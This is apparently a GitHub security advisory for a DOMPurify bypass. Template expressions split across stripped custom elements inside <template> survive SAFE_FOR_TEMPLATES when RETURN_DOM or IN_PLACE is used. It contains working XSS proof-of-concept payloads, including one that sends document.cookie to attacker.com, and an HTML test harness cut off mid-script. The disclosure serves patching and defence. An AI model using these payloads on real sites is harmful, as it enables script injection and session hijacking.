GHSA-gvmj-g25r-r7wr

Description

## Summary When DOMPurify is configured with both `SAFE_FOR_TEMPLATES: true` and `RETURN_DOM: true` (or `IN_PLACE: true`), an attacker can inject template expressions, such as `${evil}`, `{{evil}}`, or `<%evil%>`, that survive the sanitization pass inside `<template>` element content. This bypasses the explicit purpose of `SAFE_FOR_TEMPLATES`, which is to prevent template engine evaluation of user-supplied content. > **Note:** The string output path is **not** affected. Only the DOM return paths (`RETURN_DOM: true`, `RETURN_DOM_FRAGMENT: true`, `IN_PLACE: true`) are vulnerable. --- ## Description ### Background `SAFE_FOR_TEMPLATES` is designed to strip `{{ }}`, `${ }`, and `<% %>` expressions from sanitized output so that downstream template engines do not evaluate user-controlled content. The feature operates through two mechanisms: 1. **Per-node scrubbing** (`_sanitizeElements`, `src/purify.ts:1403`), scrubs individual text nodes during the main sanitization walk. 2. **Final normalization pass** (`_scrubTemplateExpressions`, `src/purify.ts:1115`), calls `node.normalize()` to merge adjacent text nodes, then walks the merged nodes and strips any expressions that only appeared after merging. ### The Gap `_scrubTemplateExpressions` uses a standard `NodeIterator` rooted at the output body: ```ts // src/purify.ts:1117 const walker = createNodeIterator.call( node.ownerDocument || node, node, NodeFilter.SHOW_TEXT | NodeFilter.SHOW_COMMENT | ..., null ); ``` Per the DOM specification, a `NodeIterator` does **not** descend into `<template>.content`. The template element's content is a separate `DocumentFragment` that lives outside the normal child-node tree. For the same reason, `node.normalize()` (called on line 1116) also **does not** normalize text nodes inside `<template>.content`. This means the final normalization and scrub pass, the only pass that catches expressions formed *by merging split text nodes*, never runs on `<template>` content. ### How Split Text Nodes Are Created When DOMPurify removes a disallowed element with `KEEP_CONTENT: true` (the default), it moves the element's text children into the parent node. This is the standard code path at `src/purify.ts:1361–1373`: ```ts if (KEEP_CONTENT && !FORBID_CONTENTS[tagName]) { const parentNode = getParentNode(currentNode); const childNodes = getChildNodes(currentNode); if (childNodes && parentNode) { for (let i = childCount - 1; i >= 0; --i) { const childClone = cloneNode(childNodes[i], true); parentNode.insertBefore(childClone, getNextSibling(currentNode)); } } } ``` If the removed elements were adjacent siblings inside `<template>` content, their extracted text nodes end up as **adjacent text nodes** in the template content fragment. Each individual text node is scrubbed by `_sanitizeElements`, but since `$` and `{evil}` do not match any expression regex on their own, neither is modified. The code comment at `src/purify.ts:1100` explicitly acknowledges the threat class: > *"which only form after text-node normalization (e.g. fragments split across stripped elements) cannot survive into a template-evaluating framework."* The implementation guards against this on the main body, but the guard is **not** applied to `<template>` content. --- ## Proof of Concept ### Why the Split Works The bypass relies on splitting `${...}` across two adjacent custom elements so that neither fragment matches any DOMPurify regex on its own: | Fragment | Against `TMPLIT_EXPR` `/\${[\w\W]*/g` | Against `MUSTACHE_EXPR` `/{{[\w\W]*\|^[\w\W]*}}/g` | Result | |---|---|---|---| | `$` | Requires `${` - no `{` follows | No `{{` or `}}` | **Survives** | | `{alert(document.domain)}` | Requires leading `$` - absent | No `{{`, ends with single `}` not `}}` | **Survives** | | `${alert(document.domain)}` | Full match - would be stripped | - | Stripped if seen whole | DOMPurify only sees each fragment in isolation. It never merges them before checking, so the expression is never detected. --- ### PoC 1 - XSS via `alert()` (baseline confirmation) ```javascript // Attacker input - splits "${alert(document.domain)}" across two custom elements. // Custom elements are not in DOMPurify's default ALLOWED_TAGS and are removed, // but their text content is kept (KEEP_CONTENT: true is the default). const dirty = '<template>' + '<x-split-1>$</x-split-1>' + '<x-split-2>{alert(document.domain)}</x-split-2>' + '</template>'; // Developer sanitizes with SAFE_FOR_TEMPLATES, trusting it strips ${...} const sanitized = DOMPurify.sanitize(dirty, { RETURN_DOM: true, SAFE_FOR_TEMPLATES: true, }); // Inspect what survived inside the <template> const tmpl = sanitized.querySelector('template'); console.log([...tmpl.content.childNodes].map(n => n.nodeValue)); // ["$", "{alert(document.domain)}"] <-- two separate text nodes, both "clean" // Frameworks (lit-html, Angular, custom renderers) routinely call normalize() // before reading template content. This merges the adjacent nodes: tmpl.content.normalize(); console.log(tmpl.content.textContent); // "${alert(document.domain)}" <-- fully formed expression, past the sanitizer // Any template-literal evaluator now fires XSS: const expr = tmpl.content.textContent; new Function(`return \`${expr}\``)(); // !! alert(document.domain) executes !! ``` --- ### PoC 2 - Session Hijacking via cookie exfiltration ```javascript // Splits "${document.location='//attacker.com/?c='+document.cookie}" // "{document.location=...}" ends with a single "}" — does NOT match // MUSTACHE_EXPR's "^[\w\W]*}}" (requires double "}}"), so it survives. const dirty = '<template>' + '<x-a>$</x-a>' + '<x-b>{document.location="//attacker.com/?c="+document.cookie}</x-b>' + '</template>'; const sanitized = DOMPurify.sanitize(dirty, { RETURN_DOM: true, SAFE_FOR_TEMPLATES: true, }); const tmpl = sanitized.querySelector('template'); tmpl.content.normalize(); console.log(tmpl.content.textContent); // "${document.location="//attacker.com/?c="+document.cookie}" // Template engine evaluates it - victim's browser makes the request: new Function(`return \`${tmpl.content.textContent}\``)(); // !! Redirects victim to attacker.com with their full cookie string !! // e.g. https://attacker.com/?c=session=abc123;auth_token=xyz789 ``` --- ### PoC 3 - End-to-end: realistic application context This shows the full path in an application that uses DOMPurify to sanitize user-submitted rich text before rendering it with a custom template engine: ```html <!-- index.html - the vulnerable application --> <div id="output"></div> <script type="module"> import DOMPurify from './dist/purify.es.mjs'; // Simulates fetching and rendering user-submitted comment async function renderComment(userHtml) { // Developer correctly uses SAFE_FOR_TEMPLATES to protect the template engine const dom = DOMPurify.sanitize(userHtml, { RETURN_DOM: true, SAFE_FOR_TEMPLATES: true, }); // Application iterates <template> elements and evaluates their content // (common pattern in component-based frameworks) dom.querySelectorAll('template').forEach(tmpl => { tmpl.content.normalize(); // standard DOM housekeeping const content = tmpl.content.textContent; // Application uses template literals to interpolate user content into UI const rendered = new Function('user', `return \`${content}\``)({ name: 'World' }); document.getElementById('output').innerHTML += rendered; }); } // Attacker-supplied comment content const attackerComment = '<template>' + '<x-a>$</x-a>' + '<x-b>{alert("XSS: " + document.cookie)}</x-b>' + '</template>'; // Developer believes SAFE_FOR_TEMPLATES makes this safe — it does not for RETURN_DOM renderComment(attackerComment); // !! XSS fires, alert pops with session cookies !! </script> ``` **Observed output:** `alert("XSS: " + document.cookie)` executes in the victim's browser context, leaking session tokens to the attacker. --- ### PoC 4 - `IN_PLACE` mode (DOM input path) ```javascript // Applicable when the application sanitizes DOM nodes directly // (e.g., content loaded into an iframe or received from a WebSocket) const container = document.createElement('div'); const tmpl = document.createElement('template'); // Adjacent text nodes - these would never appear in HTML-parsed content, // but CAN appear in programmatically constructed DOM or WebSocket messages // that are deserialised into DOM nodes before sanitisation. tmpl.content.appendChild(document.createTextNode('$')); tmpl.content.appendChild(document.createTextNode('{alert(document.domain)}')); container.appendChild(tmpl); // Sanitize in-place with SAFE_FOR_TEMPLATES - expected to strip all ${...} DOMPurify.sanitize(container, { IN_PLACE: true, SAFE_FOR_TEMPLATES: true }); // Neither text node was modified - each passed the regex check individually container.querySelector('template').content.normalize(); console.log(container.querySelector('template').content.textContent); // "${alert(document.domain)}" <-- survived in-place sanitization new Function(`return \`${container.querySelector('template').content.textContent}\``)(); // !! XSS fires !! ``` HTML File for testing ```HTML <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8" /> <title>DOMPurify SAFE_FOR_TEMPLATES Bypass - PoC</title> <script src="dist/purify.js"></script> <style> * { box-sizing: border-box; margin: 0; padding: 0; } body { font-family: 'Segoe UI', system-ui, sans-serif; background: #0d1117; color: #e6edf3; padding: 32px; } h1 { font-size: 1.4rem; color: #f85149; margin-bottom: 6px; } .subtitle { color: #8b949e; font-size: 0.9rem; margin-bottom: 32px; } .card { background: #161b22; border: 1px solid #30363d; border-radius: 8px; margin-bottom: 24px; overflow: hidden; } .card-header { display: flex; align-items: center; gap: 10px; padding: 14px 20px; border-bottom: 1px solid #30363d; background: #1c2128; } .badge { font-size: 0.72rem; font-weight: 700; padding: 2px 8px; border-radius: 4px; text-transform: uppercase; letter-spacing: 0.05em; } .badge-run { background: #1f6feb; color: #fff; } .badge-pass { background: #238636; color: #fff; } .badge-fail { background: #da3633; color: #fff; } .badge-warn { background: #9e6a03; color: #fff; } .card-title { font-size: 0.95rem; font-weight: 600; } .card-body { padding: 20px; } label { font-size: 0.78rem; color: #8b949e; display: block; margin-bottom: 6px; } pre { background: #0d1117; border: 1px solid #30363d; border-radius: 6px; padding: 14px; font-size: 0.82rem; line-height: 1.6; overflow-x: auto; margin-bottom: 14px; white-space: pre-wrap; word-break: break-all; } pre.result { border-color: #238636; background: #0a1a0f; } pre.escaped { border-color: #da3633; background: #1a0a0a; } pre.highlight { border-color: #f85149; color: #f85149; font-weight: bold; } .grid { display: grid; grid-template-columns: 1fr 1fr; gap: 14px; } @media (max-width: 700px) { .grid { grid-template-columns: 1fr; } } .arrow { text-align: center; font-size: 1.4rem; color: #8b949e; margin: 4px 0; } .xss-banner { display: none; background: #da3633; color: #fff; text-align: center; padding: 16px; font-size: 1.1rem; font-weight: 700; border-radius: 6px; margin-bottom: 24px; letter-spacing: 0.03em; } button { background: #238636; color: #fff; border: none; padding: 10px 22px; border-radius: 6px; font-size: 0.9rem; font-weight: 600; cursor: pointer; margin-right: 10px; margin-bottom: 8px; } button:hover { background: #2ea043; } button.danger { background: #da3633; } button.danger:hover { background: #f85149; } .note { background: #161b22; border-left: 3px solid #9e6a03; padding: 12px 16px; font-size: 0.82rem; color: #e3b341; border-radius: 0 6px 6px 0; margin-top: 14px; } #log { background: #0d1117; border: 1px solid #30363d; border-radius: 6px; padding: 14px; font-size: 0.8rem; font-family: monospace; min-height: 60px; max-height: 300px; overflow-y: auto; line-height: 1.8; } .log-ok { color: #3fb950; } .log-fail { color: #f85149; } .log-info { color: #8b949e; } .log-warn { color: #e3b341; } </style> </head> <body> <h1>🔴 DOMPurify 3.4.7 - SAFE_FOR_TEMPLATES Bypass</h1> <p class="subtitle"> CVE candidate · Template expression injection via &lt;template&gt; content · Affects: <code>RETURN_DOM + SAFE_FOR_TEMPLATES</code> and <code>IN_PLACE + SAFE_FOR_TEMPLATES</code> </p> <div id="xss-banner" class="xss-banner"> ⚠️ XSS CONFIRMED - Expression executed in this page's context </div> <!-- ── Controls ─────────────────────────────────────────── --> <div class="card"> <div class="card-header"> <span class="badge badge-run">Controls</span> <span class="card-title">Run individual test cases</span> </div> <div class="card-body"> <button onclick="runAll()">▶ Run all tests</button> <button onclick="runPoC1()">PoC 1 - alert()</button> <button onclick="runPoC2()">PoC 2 - cookie exfil</button> <button onclick="runPoC3()">PoC 3 - IN_PLACE</button> <button onclick="runControl()">Control - string output (should block)</button> <div class="note"> PoC 1 uses <code>confirm()</code> instead of <code>alert()</code> so the page doesn't need a dismiss click to continue. Watch the red banner at the top. </div> </div> </div> <!-- ── PoC 1 ─────────────────────────────────────────────── --> <div class="card" id="card-poc1"> <div class="card-header"> <span class="badge badge-run" id="badge-poc1">PENDING</span> <span class="card-title">PoC 1 - XSS via confirm() · RETURN_DOM mode</span> </div> <div class="card-body"> <div class="grid"> <div> <label>ATTACKER INPUT - splits <code>${"{confirm(...)}"}</code> across two custom elements</label> <pre id="input-poc1"></pre> </div> <div> <label>AFTER DOMPurify.sanitize() - what survived in template.content</label> <pre class="result" id="nodes-poc1"></pre> </div> </div> <div class="arrow">↓ template.content.normalize() ↓</div> <label>MERGED TEXT NODE - fully formed expression after normalization</label> <pre class="highlight" id="merged-poc1"></pre> <label>EXECUTION RESULT</label> <pre id="exec-poc1">Not run yet</pre> </div> </div> <!-- ── PoC 2 ─────────────────────────────────────────────── --> <div class="card" id="card-poc2"> <div class="card-header"> <span class="badge badge-run" id="badge-poc2">PENDING</span> <span class="card-title">PoC 2 - Cookie exfiltration · RETURN_DOM mode</span> </div> <div class="card-body"> <div class="grid"> <div> <label>ATTACKER INPUT - exfil payload split across custom elements</label> <pre id="input-poc2"></pre> </div> <div> <label>INDIVIDUAL TEXT NODES after sanitization (each "clean")</label> <pre class="result" id="nodes-poc2"></pre> </div> </div> <div class="arrow">↓ template.content.normalize() ↓</div> <label>MERGED EXPRESSION - what a template engine would evaluate</label> <pre class="highlight" id="merged-poc2"></pre> <label>SIMULATED EXECUTION (fetch URL that would be called)</label> <pre id="exec-poc2">Not run yet</pre> <div class="note"> Real execution would redirect the victim to <code>attacker.com</code> carrying the session cookie. This PoC constructs the URL without actually sending it. </div> </div> </div> <!-- ── PoC 3 ─────────────────────────────────────────────── --> <div class="card" id="card-poc3"> <div class="card-header"> <span class="badge badge-run" id="badge-poc3">PENDING</span> <span class="card-title">PoC 3 - XSS · IN_PLACE mode (DOM node input)</span> </div> <div class="card-body"> <div class="grid"> <div> <label>ATTACKER PROVIDES - a DOM node with programmatically split text nodes</label> <pre id="input-poc3"></pre> </div> <div> <label>AFTER IN_PLACE sanitization - text nodes unchanged</label> <pre class="result" id="nodes-poc3"></pre> </div> </div> <div class="arrow">↓ template.content.normalize() ↓</div> <label>MERGED EXPRESSION</label> <pre class="highlight" id="merged-poc3"></pre> <label>EXECUTION RESULT</label> <pre id="exec-poc3">Not run yet</pre> </div> </div> <!-- ── Control ───────────────────────────────────────────── --> <div class="card" id="card-ctrl"> <div class="card-header"> <span class="badge badge-run" id="badge-ctrl">PENDING</span> <span class="card-title">Control - string output (default) MUST block the payload</span> </div> <div class="card-body"> <label>Same attacker input, but sanitized WITHOUT RETURN_DOM (string output path)</label> <pre id="input-ctrl"></pre> <div class="arrow">↓ DOMPurify.sanitize() - string path hits the regex scrub at line 2067 ↓</div> <label>OUTPUT STRING - expression should be stripped</label> <pre id="output-ctrl">Not run yet</pre> <div class="note"> The string output path is NOT vulnerable because <code>body.innerHTML</code> serialises the template content into a flat string where the full <code>${"{...}"}</code> expression is visible and the final regex scrub catches it. </div> </div> </div> <!-- ── Log ───────────────────────────────────────────────── --> <div class="card"> <div class="card-header"> <span class="badge badge-run">Log</span> <span class="card-title">Test output</span> </div> <div class="card-body"> <div id="log"></div> </div> </div> <script> // ── Helpers ──────────────────────────────────────────────────────────────── let xssConfirmed = false; function log(msg, type = 'info') { const el = document.getElementById('log'); const line = document.createElement('div'); line.className = 'log-' + type; line.textContent = '[' + new Date().toLocaleTimeString() + '] ' + msg; el.appendChild(line); el.scrollTop = el.scrollHeight; } function setBadge(id, status) { const el = document.getElementById('badge-' + id); el.textContent = status; el.className = 'badge ' + { PASS: 'badge-fail', // "PASS" here means the attack succeeded (bad for security) BLOCK: 'badge-pass', // "BLOCK" means DOMPurify correctly blocked it PENDING: 'badge-run', ERROR: 'badge-warn', }[status]; } function markXSS(poc) { if (!xssConfirmed) { xssConfirmed = true; document.getElementById('xss-banner').style.display = 'block'; } log('🔴 XSS CONFIRMED in ' + poc + ' - expression executed in page context', 'fail'); } // ── PoC 1: RETURN_DOM + alert ────────────────────────────────────────────── function runPoC1() { log('Running PoC 1 - RETURN_DOM + confirm()...', 'info'); // IMPORTANT: // Build a REAL template DOM node with split TEXT nodes. // HTML parsing would merge adjacent text automatically, // so we construct the DOM programmatically. const container = document.createElement('div'); const tmpl = document.createElement('template'); tmpl.